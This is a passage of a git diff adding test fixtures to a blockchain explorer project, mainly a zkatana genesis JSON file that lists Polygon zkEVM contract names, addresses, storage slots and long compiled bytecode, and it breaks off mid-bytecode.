"/ip4/127.0.0.1/tcp/30302/p2p/16Uiu2HAmLXVapjR2Yx3B1taCmHnckQ1ph2xrawBjW2kvSErps9CX", + "/ip4/127.0.0.1/tcp/30303/p2p/16Uiu2HAmGskf5sZ514Ab4SHTPuw8RRBQudyrU211wn3P1knRz9Ed", + "/ip4/127.0.0.1/tcp/30304/p2p/16Uiu2HAm42EFMhJPGcMRFHPaWWxBzoEsWRbGxJnBHMu4VFojg99U" + ] +} \ No newline at end of file diff --git a/apps/explorer/test/support/fixture/chain_spec/zkatana_genesis.json b/apps/explorer/test/support/fixture/chain_spec/zkatana_genesis.json new file mode 100644 index 000000000000..7a7ca0523658 --- /dev/null +++ b/apps/explorer/test/support/fixture/chain_spec/zkatana_genesis.json @@ -0,0 +1,102 @@ +{ + "root": "0xd8efe6b2ede4af8771fa2ab26186b292fd76c359d9307a90c5972e22d5be6676", + "genesis": [ + { + "contractName": "PolygonZkEVMDeployer", + "balance": "0", + "nonce": "4", + "address": "0xd03c1a9c2fe2C6f3927C398A90272FE95bD3CDaF", + "bytecode": "0x60806040526004361061006e575f3560e01c8063715018a61161004c578063715018a6146100e25780638da5cb5b146100f6578063e11ae6cb1461011f578063f2fde38b14610132575f80fd5b80632b79805a146100725780634a94d487146100875780636d07dbf81461009a575b5f80fd5b610085610080366004610908565b610151565b005b6100856100953660046109a2565b6101c2565b3480156100a5575f80fd5b506100b96100b43660046109f5565b610203565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b3480156100ed575f80fd5b50610085610215565b348015610101575f80fd5b505f5473ffffffffffffffffffffffffffffffffffffffff166100b9565b61008561012d366004610a15565b610228565b34801561013d575f80fd5b5061008561014c366004610a61565b61028e565b61015961034a565b5f6101658585856103ca565b90506101718183610527565b5060405173ffffffffffffffffffffffffffffffffffffffff821681527fba82f25fed02cd2a23d9f5d11c2ef588d22af5437cbf23bfe61d87257c480e4c9060200160405180910390a15050505050565b6101ca61034a565b6101d583838361056a565b506040517f25adb19089b6a549831a273acdf7908cff8b7ee5f551f8d1d37996cf01c5df5b905f90a1505050565b5f61020e8383610598565b9392505050565b61021d61034a565b6102265f6105a4565b565b61023061034a565b5f61023c8484846103ca565b60405173ffffffffffffffffffffffffffffffffffffffff821681529091507fba82f25fed02cd2a23d9f5d11c2ef588d22af5437cbf23bfe61d87257c480e4c9060200160405180910390a150505050565b61029661034a565b73ffffffffffffffffffffffffffffffffffffffff811661033e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610347816105a4565b50565b5f5473ffffffffffffffffffffffffffffffffffffffff163314610226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610335565b5f83471015610435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e63650000006044820152606401610335565b81515f0361049f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f6044820152606401610335565b8282516020840186f5905073ffffffffffffffffffffffffffffffffffffffff811661020e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f79000000000000006044820152606401610335565b606061020e83835f6040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250610618565b6060610590848484604051806060016040528060298152602001610b0860299139610618565b949350505050565b5f61020e83833061072d565b5f805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6060824710156106aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610335565b5f808673ffffffffffffffffffffffffffffffffffffffff1685876040516106d29190610a9c565b5f6040518083038185875af1925050503d805f811461070c576040519150601f19603f3d011682016040523d82523d5f602084013e610711565b606091505b509150915061072287838387610756565b979650505050505050565b5f604051836040820152846020820152828152600b8101905060ff815360559020949350505050565b606083156107eb5782515f036107e45773ffffffffffffffffffffffffffffffffffffffff85163b6107e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610335565b5081610590565b61059083838151156108005781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103359190610ab7565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f82601f830112610870575f80fd5b813567ffffffffffffffff8082111561088b5761088b610834565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019082821181831017156108d1576108d1610834565b816040528381528660208588010111156108e9575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f805f806080858703121561091b575f80fd5b8435935060208501359250604085013567ffffffffffffffff80821115610940575f80fd5b61094c88838901610861565b93506060870135915080821115610961575f80fd5b5061096e87828801610861565b91505092959194509250565b803573ffffffffffffffffffffffffffffffffffffffff8116811461099d575f80fd5b919050565b5f805f606084860312156109b4575f80fd5b6109bd8461097a565b9250602084013567ffffffffffffffff8111156109d8575f80fd5b6109e486828701610861565b925050604084013590509250925092565b5f8060408385031215610a06575f80fd5b50508035926020909101359150565b5f805f60608486031215610a27575f80fd5b8335925060208401359150604084013567ffffffffffffffff811115610a4b575f80fd5b610a5786828701610861565b9150509250925092565b5f60208284031215610a71575f80fd5b61020e8261097a565b5f5b83811015610a94578181015183820152602001610a7c565b50505f910152565b5f8251610aad818460208701610a7a565b9190910192915050565b602081525f8251806020840152610ad5816040850160208701610a7a565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564a2646970667358221220330b94dc698c4d290bf55c23f13b473cde6a6bae0030cb902de18af54e35839f64736f6c63430008140033", + "storage": { + "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000000056b9eaf5d19639acc16c6373c66e5a1f61cf29b6" + } + }, + { + "contractName": "ProxyAdmin", + "balance": "0", + "nonce": "1", + "address": "0xfE3306Bb4124E90eA08Af2776008592052Ecb9e0", + "bytecode": "0x608060405260043610610079575f3560e01c80639623609d1161004c5780639623609d1461012357806399a88ec414610136578063f2fde38b14610155578063f3b7dead14610174575f80fd5b8063204e1c7a1461007d578063715018a6146100c55780637eff275e146100db5780638da5cb5b146100fa575b5f80fd5b348015610088575f80fd5b5061009c6100973660046105e8565b610193565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b3480156100d0575f80fd5b506100d9610244565b005b3480156100e6575f80fd5b506100d96100f536600461060a565b610257565b348015610105575f80fd5b505f5473ffffffffffffffffffffffffffffffffffffffff1661009c565b6100d961013136600461066e565b6102e0565b348015610141575f80fd5b506100d961015036600461060a565b610371565b348015610160575f80fd5b506100d961016f3660046105e8565b6103cd565b34801561017f575f80fd5b5061009c61018e3660046105e8565b610489565b5f805f8373ffffffffffffffffffffffffffffffffffffffff166040516101dd907f5c60da1b00000000000000000000000000000000000000000000000000000000815260040190565b5f60405180830381855afa9150503d805f8114610215576040519150601f19603f3d011682016040523d82523d5f602084013e61021a565b606091505b509150915081610228575f80fd5b8080602001905181019061023c919061075b565b949350505050565b61024c6104d3565b6102555f610553565b565b61025f6104d3565b6040517f8f28397000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8281166004830152831690638f283970906024015b5f604051808303815f87803b1580156102c6575f80fd5b505af11580156102d8573d5f803e3d5ffd5b505050505050565b6102e86104d3565b6040517f4f1ef28600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff841690634f1ef28690349061033e9086908690600401610776565b5f604051808303818588803b158015610355575f80fd5b505af1158015610367573d5f803e3d5ffd5b5050505050505050565b6103796104d3565b6040517f3659cfe600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8281166004830152831690633659cfe6906024016102af565b6103d56104d3565b73ffffffffffffffffffffffffffffffffffffffff811661047d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61048681610553565b50565b5f805f8373ffffffffffffffffffffffffffffffffffffffff166040516101dd907ff851a44000000000000000000000000000000000000000000000000000000000815260040190565b5f5473ffffffffffffffffffffffffffffffffffffffff163314610255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610474565b5f805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b73ffffffffffffffffffffffffffffffffffffffff81168114610486575f80fd5b5f602082840312156105f8575f80fd5b8135610603816105c7565b9392505050565b5f806040838503121561061b575f80fd5b8235610626816105c7565b91506020830135610636816105c7565b809150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f805f60608486031215610680575f80fd5b833561068b816105c7565b9250602084013561069b816105c7565b9150604084013567ffffffffffffffff808211156106b7575f80fd5b818601915086601f8301126106ca575f80fd5b8135818111156106dc576106dc610641565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190838211818310171561072257610722610641565b8160405282815289602084870101111561073a575f80fd5b826020860160208301375f6020848301015280955050505050509250925092565b5f6020828403121561076b575f80fd5b8151610603816105c7565b73ffffffffffffffffffffffffffffffffffffffff831681525f602060408184015283518060408501525f5b818110156107be578581018301518582016060015282016107a2565b505f6060828601015260607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011685010192505050939250505056fea26469706673582212203083a4ccc2e42eed60bd19037f2efa77ed086dc7a5403f75bebb995dcba2221c64736f6c63430008140033", + "storage": { + "0x0000000000000000000000000000000000000000000000000000000000000000": "0x0000000000000000000000007d38458ed6b9b04a999e86057143c5faa0d259e9" + } + }, + { + "contractName": "PolygonZkEVMBridge implementation", + "balance": "0", + "nonce": "1", + "address": "0xeaE46b49f2FC2D5aDfC457a19d6E34aEc6Eb6C3A", + "bytecode": "0x60806040526004361062000197575f3560e01c8063647c576c11620000e2578063be5831c71162000086578063dbc16976116200005e578063dbc16976146200061a578063ee25560b1462000631578063fb5708341462000660575f80fd5b8063be5831c71462000591578063cd58657914620005cc578063d02103ca14620005e3575f80fd5b80639e34070f11620000ba5780639e34070f14620004f1578063aaa13cc21462000534578063bab161bf1462000558575f80fd5b8063647c576c146200047157806379e2cf97146200049557806381b1c17414620004ac575f80fd5b80632d2c9d94116200014a57806334ac9cf2116200012257806334ac9cf2146200033a5780633ae0504714620003685780633e197043146200037f575f80fd5b80632d2c9d9414620002695780632dfdf0b5146200028d578063318aee3d14620002b3575f80fd5b806322e95f2c116200017e57806322e95f2c14620001e4578063240ff378146200022e5780632cffd02e1462000245575f80fd5b806315064c96146200019b5780632072f6c514620001cb575b5f80fd5b348015620001a7575f80fd5b50606854620001b69060ff1681565b60405190151581526020015b60405180910390f35b348015620001d7575f80fd5b50620001e262000684565b005b348015620001f0575f80fd5b5062000208620002023660046200323f565b620006e2565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001620001c2565b620001e26200023f366004620032cf565b62000784565b34801562000251575f80fd5b50620001e26200026336600462003360565b620009ab565b34801562000275575f80fd5b50620001e26200028736600462003360565b62000f30565b34801562000299575f80fd5b50620002a460535481565b604051908152602001620001c2565b348015620002bf575f80fd5b5062000308620002d13660046200343e565b606b6020525f908152604090205463ffffffff811690640100000000900473ffffffffffffffffffffffffffffffffffffffff1682565b6040805163ffffffff909316835273ffffffffffffffffffffffffffffffffffffffff909116602083015201620001c2565b34801562000346575f80fd5b50606c54620002089073ffffffffffffffffffffffffffffffffffffffff1681565b34801562000374575f80fd5b50620002a462001130565b3480156200038b575f80fd5b50620002a46200039d36600462003472565b6040517fff0000000000000000000000000000000000000000000000000000000000000060f889901b1660208201527fffffffff0000000000000000000000000000000000000000000000000000000060e088811b821660218401527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606089811b821660258601529188901b909216603984015285901b16603d82015260518101839052607181018290525f90609101604051602081830303815290604052805190602001209050979650505050505050565b3480156200047d575f80fd5b50620001e26200048f366004620034f7565b62001215565b348015620004a1575f80fd5b50620001e26200145e565b348015620004b8575f80fd5b5062000208620004ca36600462003544565b606a6020525f908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b348015620004fd575f80fd5b50620001b66200050f36600462003544565b600881901c5f90815260696020526040902054600160ff9092169190911b9081161490565b34801562000540575f80fd5b5062000208620005523660046200355c565b62001498565b34801562000564575f80fd5b506068546200057b90610100900463ffffffff1681565b60405163ffffffff9091168152602001620001c2565b3480156200059d575f80fd5b506068546200057b90790100000000000000000000000000000000000000000000000000900463ffffffff1681565b620001e2620005dd36600462003609565b62001682565b348015620005ef575f80fd5b50606854620002089065010000000000900473ffffffffffffffffffffffffffffffffffffffff1681565b34801562000626575f80fd5b50620001e262001bd4565b3480156200063d575f80fd5b50620002a46200064f36600462003544565b60696020525f908152604090205481565b3480156200066c575f80fd5b50620001b66200067e366004620036a5565b62001c30565b606c5473ffffffffffffffffffffffffffffffffffffffff163314620006d6576040517fe2e8106b00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b620006e062001d18565b565b6040805160e084901b7fffffffff0000000000000000000000000000000000000000000000000000000016602080830191909152606084901b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000016602483015282516018818403018152603890920183528151918101919091205f908152606a909152205473ffffffffffffffffffffffffffffffffffffffff165b92915050565b60685460ff1615620007c2576040517f2f0047fc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60685463ffffffff868116610100909204161480620007e85750600263ffffffff861610155b1562000820576040517f0595ea2e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f501781209a1f8899323b96b4ef08b168df93e0a90c673d1e4cce39366cb62f9b6001606860019054906101000a900463ffffffff16338888348888605354604051620008769998979695949392919062003736565b60405180910390a1620009936200098d6001606860019054906101000a900463ffffffff16338989348989604051620008b1929190620037b0565b60405180910390206040517fff0000000000000000000000000000000000000000000000000000000000000060f889901b1660208201527fffffffff0000000000000000000000000000000000000000000000000000000060e088811b821660218401527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606089811b821660258601529188901b909216603984015285901b16603d82015260518101839052607181018290525f90609101604051602081830303815290604052805190602001209050979650505050505050565b62001dab565b8215620009a457620009a462001ebf565b5050505050565b60685460ff1615620009e9576040517f2f0047fc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b620009ff8b8b8b8b8b8b8b8b8b8b8b5f62001f8f565b73ffffffffffffffffffffffffffffffffffffffff861662000ad757604080515f8082526020820190925273ffffffffffffffffffffffffffffffffffffffff861690859060405162000a53919062003810565b5f6040518083038185875af1925050503d805f811462000a8f576040519150601f19603f3d011682016040523d82523d5f602084013e62000a94565b606091505b505090508062000ad0576040517f6747a28800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5062000eb8565b60685463ffffffff61010090910481169088160362000b195762000b1373ffffffffffffffffffffffffffffffffffffffff871685856200217a565b62000eb8565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e089901b1660208201527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606088901b1660248201525f90603801604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301205f818152606a90935291205490915073ffffffffffffffffffffffffffffffffffffffff168062000e2f575f808062000beb868801886200391f565b9250925092505f8584848460405162000c0490620031f8565b62000c1293929190620039db565b8190604051809103905ff590508015801562000c30573d5f803e3d5ffd5b506040517f40c10f1900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8c81166004830152602482018c9052919250908216906340c10f19906044015f604051808303815f87803b15801562000ca3575f80fd5b505af115801562000cb6573d5f803e3d5ffd5b5050505080606a5f8881526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180604001604052808e63ffffffff1681526020018d73ffffffffffffffffffffffffffffffffffffffff16815250606b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548163ffffffff021916908363ffffffff1602179055506020820151815f0160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050507f490e59a1701b938786ac72570a1efeac994a3dbe96e2e883e19e902ace6e6a398d8d838b8b60405162000e1d95949392919062003a17565b60405180910390a15050505062000eb5565b6040517f40c10f1900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8781166004830152602482018790528216906340c10f19906044015f604051808303815f87803b15801562000e9d575f80fd5b505af115801562000eb0573d5f803e3d5ffd5b505050505b50505b6040805163ffffffff8c811682528916602082015273ffffffffffffffffffffffffffffffffffffffff88811682840152861660608201526080810185905290517f25308c93ceeed162da955b3f7ce3e3f93606579e40fb92029faa9efe275459839181900360a00190a15050505050505050505050565b60685460ff161562000f6e576040517f2f0047fc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b62000f858b8b8b8b8b8b8b8b8b8b8b600162001f8f565b5f8473ffffffffffffffffffffffffffffffffffffffff1684888a868660405160240162000fb7949392919062003a5e565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f1806b5f200000000000000000000000000000000000000000000000000000000179052516200103a919062003810565b5f6040518083038185875af1925050503d805f811462001076576040519150601f19603f3d011682016040523d82523d5f602084013e6200107b565b606091505b5050905080620010b7576040517f37e391c300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6040805163ffffffff8d811682528a16602082015273ffffffffffffffffffffffffffffffffffffffff89811682840152871660608201526080810186905290517f25308c93ceeed162da955b3f7ce3e3f93606579e40fb92029faa9efe275459839181900360a00190a1505050505050505050505050565b6053545f90819081805b60208110156200120c578083901c6001166001036200119d576033816020811062001169576200116962003aa5565b01546040805160208101929092528101859052606001604051602081830303815290604052805190602001209350620011ca565b60408051602081018690529081018390526060016040516020818303038152906040528051906020012093505b60408051602081018490529081018390526060016040516020818303038152906040528051906020012091508080620012039062003aff565b9150506200113a565b50919392505050565b5f54610100900460ff16158080156200123457505f54600160ff909116105b806200124f5750303b1580156200124f57505f5460ff166001145b620012e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084015b60405180910390fd5b5f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905580156200133e575f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101001790555b606880547fffffffffffffff000000000000000000000000000000000000000000000000ff1661010063ffffffff8716027fffffffffffffff0000000000000000000000000000000000000000ffffffffff16176501000000000073ffffffffffffffffffffffffffffffffffffffff8681169190910291909117909155606c80547fffffffffffffffffffffffff000000000000000000000000000000000000000016918416919091179055620013f562002250565b801562001458575f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b605354606854790100000000000000000000000000000000000000000000000000900463ffffffff161015620006e057620006e062001ebf565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e089901b1660208201527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606088901b1660248201525f9081906038016040516020818303038152906040528051906020012090505f60ff60f81b3083604051806020016200152c90620031f8565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe082820381018352601f90910116604081905262001577908d908d908d908d908d9060200162003b39565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815290829052620015b5929160200162003b79565b604051602081830303815290604052805190602001206040516020016200163e94939291907fff0000000000000000000000000000000000000000000000000000000000000094909416845260609290921b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000001660018401526015830152603582015260550190565b604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe001815291905280516020909101209a9950505050505050505050565b60685460ff1615620016c0576040517f2f0047fc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b620016ca620022f2565b60685463ffffffff888116610100909204161480620016f05750600263ffffffff881610155b1562001728576040517f0595ea2e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8060608773ffffffffffffffffffffffffffffffffffffffff88166200178c5788341462001783576040517fb89240f500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f925062001a79565b3415620017c5576040517f798ee6f100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8089165f908152606b602090815260409182902082518084019093525463ffffffff8116835264010000000090049092169181018290529015620018ae576040517f9dc29fac000000000000000000000000000000000000000000000000000000008152336004820152602481018b905273ffffffffffffffffffffffffffffffffffffffff8a1690639dc29fac906044015f604051808303815f87803b15801562001884575f80fd5b505af115801562001897573d5f803e3d5ffd5b5050505080602001519450805f0151935062001a77565b8515620018c357620018c3898b898962002367565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f9073ffffffffffffffffffffffffffffffffffffffff8b16906370a0823190602401602060405180830381865afa1580156200192e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001954919062003bab565b90506200197a73ffffffffffffffffffffffffffffffffffffffff8b1633308e6200287a565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f9073ffffffffffffffffffffffffffffffffffffffff8c16906370a0823190602401602060405180830381865afa158015620019e5573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001a0b919062003bab565b905062001a19828262003bc3565b6068548c9850610100900463ffffffff169650935062001a3987620028da565b62001a448c620029ee565b62001a4f8d62002af7565b60405160200162001a6393929190620039db565b604051602081830303815290604052945050505b505b7f501781209a1f8899323b96b4ef08b168df93e0a90c673d1e4cce39366cb62f9b5f84868e8e868860535460405162001aba98979695949392919062003bd9565b60405180910390a162001bac6200098d5f85878f8f8789805190602001206040517fff0000000000000000000000000000000000000000000000000000000000000060f889901b1660208201527fffffffff0000000000000000000000000000000000000000000000000000000060e088811b821660218401527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606089811b821660258601529188901b909216603984015285901b16603d82015260518101839052607181018290525f90609101604051602081830303815290604052805190602001209050979650505050505050565b861562001bbd5762001bbd62001ebf565b5050505062001bcb60018055565b50505050505050565b606c5473ffffffffffffffffffffffffffffffffffffffff16331462001c26576040517fe2e8106b00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b620006e062002bf5565b5f84815b602081101562001d0a57600163ffffffff8616821c8116900362001ca65785816020811062001c675762001c6762003aa5565b60200201358260405160200162001c88929190918252602082015260400190565b60405160208183030381529060405280519060200120915062001cf5565b8186826020811062001cbc5762001cbc62003aa5565b602002013560405160200162001cdc929190918252602082015260400190565b6040516020818303038152906040528051906020012091505b8062001d018162003aff565b91505062001c34565b50821490505b949350505050565b60685460ff161562001d56576040517f2f0047fc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b606880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040517f2261efe5aef6fedc1fd1550b25facc9181745623049c7901287030b9ad1a5497905f90a1565b80600162001dbc6020600262003d88565b62001dc8919062003bc3565b6053541062001e03576040517fef5ccf6600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f60535f815462001e149062003aff565b918290555090505f5b602081101562001eaf578082901c60011660010362001e5557826033826020811062001e4d5762001e4d62003aa5565b015550505050565b6033816020811062001e6b5762001e6b62003aa5565b01546040805160208101929092528101849052606001604051602081830303815290604052805190602001209250808062001ea69062003aff565b91505062001e1d565b5062001eba62003d95565b505050565b6053546068805463ffffffff909216790100000000000000000000000000000000000000000000000000027fffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffffff909216919091179081905573ffffffffffffffffffffffffffffffffffffffff65010000000000909104166333d6247d62001f4562001130565b6040518263ffffffff1660e01b815260040162001f6491815260200190565b5f604051808303815f87803b15801562001f7c575f80fd5b505af115801562001458573d5f803e3d5ffd5b62001fa08b63ffffffff1662002c84565b6068546040805160208082018e90528183018d9052825180830384018152606083019384905280519101207f257b36320000000000000000000000000000000000000000000000000000000090925260648101919091525f9165010000000000900473ffffffffffffffffffffffffffffffffffffffff169063257b3632906084016020604051808303815f875af11580156200203f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062002065919062003bab565b9050805f03620020a0576040517e2f6fad00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60685463ffffffff8881166101009092041614620020ea576040517f0595ea2e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6068545f90610100900463ffffffff16620021075750896200210a565b508a5b620021336200212a848c8c8c8c8c8c8c604051620008b1929190620037b0565b8f8f8462001c30565b6200216a576040517fe0417cec00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5050505050505050505050505050565b60405173ffffffffffffffffffffffffffffffffffffffff831660248201526044810182905262001eba9084907fa9059cbb00000000000000000000000000000000000000000000000000000000906064015b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009093169290921790915262002ce8565b5f54610100900460ff16620022e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401620012d8565b620006e062002dfa565b60026001540362002360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401620012d8565b6002600155565b5f62002377600482848662003dc2565b620023829162003deb565b90507f2afa5331000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000821601620025fc575f808080808080620023e4896004818d62003dc2565b810190620023f3919062003e34565b96509650965096509650965096503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161462002467576040517f912ecce700000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff86163014620024b7576040517f750643af00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8a8514620024f1576040517f03fffc4b00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6040805173ffffffffffffffffffffffffffffffffffffffff89811660248301528881166044830152606482018890526084820187905260ff861660a483015260c4820185905260e48083018590528351808403909101815261010490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fd505accf000000000000000000000000000000000000000000000000000000001790529151918e1691620025ac919062003810565b5f604051808303815f865af19150503d805f8114620025e7576040519150601f19603f3d011682016040523d82523d5f602084013e620025ec565b606091505b50505050505050505050620009a4565b7fffffffff0000000000000000000000000000000000000000000000000000000081167f8fcbaf0c000000000000000000000000000000000000000000000000000000001462002678576040517fe282c0ba00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f808080808080806200268f8a6004818e62003dc2565b8101906200269e919062003e8a565b975097509750975097509750975097503373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161462002714576040517f912ecce700000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8716301462002764576040517f750643af00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6040805173ffffffffffffffffffffffffffffffffffffffff8a811660248301528981166044830152606482018990526084820188905286151560a483015260ff861660c483015260e482018590526101048083018590528351808403909101815261012490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f8fcbaf0c000000000000000000000000000000000000000000000000000000001790529151918f169162002828919062003810565b5f604051808303815f865af19150503d805f811462002863576040519150601f19603f3d011682016040523d82523d5f602084013e62002868565b606091505b50505050505050505050505050505050565b60405173ffffffffffffffffffffffffffffffffffffffff80851660248301528316604482015260648101829052620014589085907f23b872dd0000000000000000000000000000000000000000000000000000000090608401620021cd565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f06fdde030000000000000000000000000000000000000000000000000000000017905290516060915f91829173ffffffffffffffffffffffffffffffffffffffff8616916200295d919062003810565b5f60405180830381855afa9150503d805f811462002997576040519150601f19603f3d011682016040523d82523d5f602084013e6200299c565b606091505b509150915081620029e3576040518060400160405280600781526020017f4e4f5f4e414d450000000000000000000000000000000000000000000000000081525062001d10565b62001d108162002e92565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f95d89b410000000000000000000000000000000000000000000000000000000017905290516060915f91829173ffffffffffffffffffffffffffffffffffffffff86169162002a71919062003810565b5f60405180830381855afa9150503d805f811462002aab576040519150601f19603f3d011682016040523d82523d5f602084013e62002ab0565b606091505b509150915081620029e3576040518060400160405280600981526020017f4e4f5f53594d424f4c00000000000000000000000000